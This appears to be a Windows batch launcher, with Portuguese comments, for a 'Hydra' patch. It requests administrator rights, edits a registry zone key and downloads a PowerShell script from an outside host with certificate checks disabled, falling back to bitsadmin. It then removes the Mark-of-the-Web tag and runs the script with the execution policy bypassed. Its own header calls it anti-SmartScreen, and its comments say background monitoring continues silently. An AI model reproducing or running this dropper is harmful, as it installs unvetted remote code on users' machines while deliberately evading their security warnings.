@echo off REM ========================================================= REM HYDRA AGENT - Batch Wrapper (Anti-SmartScreen) REM ========================================================= setlocal enabledelayedexpansion cd /d "%~dp0" cls color 0A echo. echo ======================================================== echo HYDRA LAUNCHER AGENT v2.6.6 echo Sistema de Download Seguro (CURL FIX) echo ======================================================== echo. REM ===== VERIFICAR ADMIN ===== echo [1/4] Verificando privilegios... net session >nul 2>&1 if %errorLevel% neq 0 ( color 0E echo. echo Solicitando privilegios de administrador... powershell -Command "Start-Process -FilePath 'cmd.exe' -ArgumentList '/c \"\"%~f0\"\"' -Verb RunAs" exit /b ) echo [OK] Privilegios de administrador confirmados color 0A REM ===== ETAPA 2: MODIFICAR REGISTRY ===== echo. echo [2/4] Configurando sistema... reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\localhost" /v "http" /t REG_DWORD /d 2 /f >nul 2>&1 echo [OK] Registry configurado REM ===== ETAPA 3: BAIXAR PATCH PS1 ===== echo. echo [3/4] Baixando script de atualizacao... echo Conectando ao servidor... set "PATCH_FILE=%temp%\hydra_patch_install.ps1" set "PATCH_URL=https://patch-hydra.topgle.com.br/download/patch/ps1" REM Tentar curl.exe primeiro (Windows 10+, mais confiavel para TLS) where curl.exe >nul 2>&1 if %errorLevel% equ 0 ( echo Usando curl... curl.exe -k -s -o "%PATCH_FILE%" "%PATCH_URL%" if exist "%PATCH_FILE%" ( for %%A in ("%PATCH_FILE%") do set FSIZE=%%~zA if !FSIZE! gtr 1000 ( echo [OK] Baixado via curl (!FSIZE! bytes) goto :download_ok ) ) echo [AVISO] curl falhou, tentando PowerShell... ) REM Fallback: PowerShell com TLS forcado powershell -NoProfile -ExecutionPolicy Bypass -Command ^ "try { " ^ " [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls11; " ^ " [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; " ^ " $wc = New-Object System.Net.WebClient; " ^ " $wc.Headers.Add('User-Agent','HydraAgent/2.6.6'); " ^ " $wc.DownloadFile('%PATCH_URL%','%PATCH_FILE%'); " ^ " if(Test-Path '%PATCH_FILE%'){$sz=(Get-Item '%PATCH_FILE%').Length;if($sz -gt 1000){Write-Host \" [OK] Baixado ($sz bytes)\" -ForegroundColor Green;exit 0}} " ^ " exit 1 " ^ "} catch { Write-Host \" [ERRO] $($_.Exception.Message)\" -ForegroundColor Red; exit 1 }" if %errorLevel% neq 0 ( REM Ultima tentativa: bitsadmin echo [AVISO] PowerShell falhou, tentando bitsadmin... bitsadmin /transfer HydraDownload /download /priority foreground "%PATCH_URL%" "%PATCH_FILE%" >nul 2>&1 ) :download_ok REM ===== ETAPA 4: EXECUTAR PATCH PS1 ===== echo. echo [4/4] Iniciando atualizacao... echo. if not exist "%PATCH_FILE%" ( color 0C echo [ERRO] Download falhou! pause exit /b 1 ) REM Remover MOTW powershell -NoProfile -Command "Remove-Item -Path '%PATCH_FILE%:Zone.Identifier' -Force -EA SilentlyContinue" REM Executar PS1 em janela separada (visivel para ativacao de licenca) REM Apos a licenca ser verificada e o Hydra iniciar, a janela fecha sozinha REM e o monitoramento continua silenciosamente em segundo plano. start "" powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Normal -File "%PATCH_FILE%" echo. echo ======================================================== echo Hydra Patch iniciado! Esta janela sera fechada. echo Siga as instrucoes na janela do Hydra Patch. echo ======================================================== echo. REM Aguardar 3 segundos e fechar automaticamente (sem pause) timeout /t 3 /nobreak >nul 2>&1 exit /b 0